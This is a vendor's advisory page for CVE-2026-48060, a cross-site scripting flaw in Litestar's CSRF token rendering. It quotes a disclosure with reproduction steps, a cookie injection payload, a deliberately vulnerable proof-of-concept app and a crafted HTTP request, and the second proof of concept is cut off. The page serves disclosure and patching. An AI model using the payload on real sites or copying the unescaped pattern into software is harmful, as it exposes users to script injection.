Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-48060 — litestar

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-79 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Litestar has HTML Injection Through its CSRF Token # Overview Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations. We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch. # Special Configurations Required For a web application to be vulnerable to this issue, it must: - Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja) - Have CSRF protection enabled - Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token) **Links to relevant documentation for the above configurations:** - https://docs.litestar.dev/2/usage/templating.html - https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf - https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs # Reproduction Steps 1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. 2. Observe that the server sets the `csrftoken` cookie when the page loads. litestar_csrf_cookie_in_browser_dev_tools 3. Set the value of the `csrftoken` cookie to `">

HTML Injection Test

`. litestar_csrf_cookie_poisoned_with_html 4. Refresh the page. 5. Observe that the contents of the cookie is rendered on the page. litestar_successful_html_injection # Exploit Code There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. The proof-of-concept applications can be started using these commands: ```bash # run poc1 python -m uvicorn poc1:app # run poc2 python -m uvicorn poc2:app ``` ## PoC 1 - Minimum Vulnerable Application This proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. **poc1.py** ```python from litestar import Litestar, get, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig @get("/") async def hello_world() -> Template: return Template( template_name="test.jinja", media_type=MediaType.HTML, ) ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[hello_world], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` **test.jinja** ```html
{{ csrf_input | safe }}


``` Sending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. ```http GET /vulnerable HTTP/1.1 Host: localhost:8000 Cookie: csrftoken=">

HTML Injection Test

``` litestar_html_injection_poc_result ## PoC 2 - Simulated Attack Delivery This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-48060 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-48060 is recorded against 2 packages.

  • litestar (fixed in 2.22.0)
  • unknown

Timeline and source

Published on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
docs.litestar.dev (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)
nvd.nist.gov (Advisory)

Other advisories for this package

litestar has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE CWE-79
Public Exploit ✅ No
Source NVD
Published 2026-07-13
Updated 2026-08-20
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
litestar 2.22.0
unknown

Similar Threats

Site Security Check

Is litestar part of your stack?

CVE-2026-48060 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026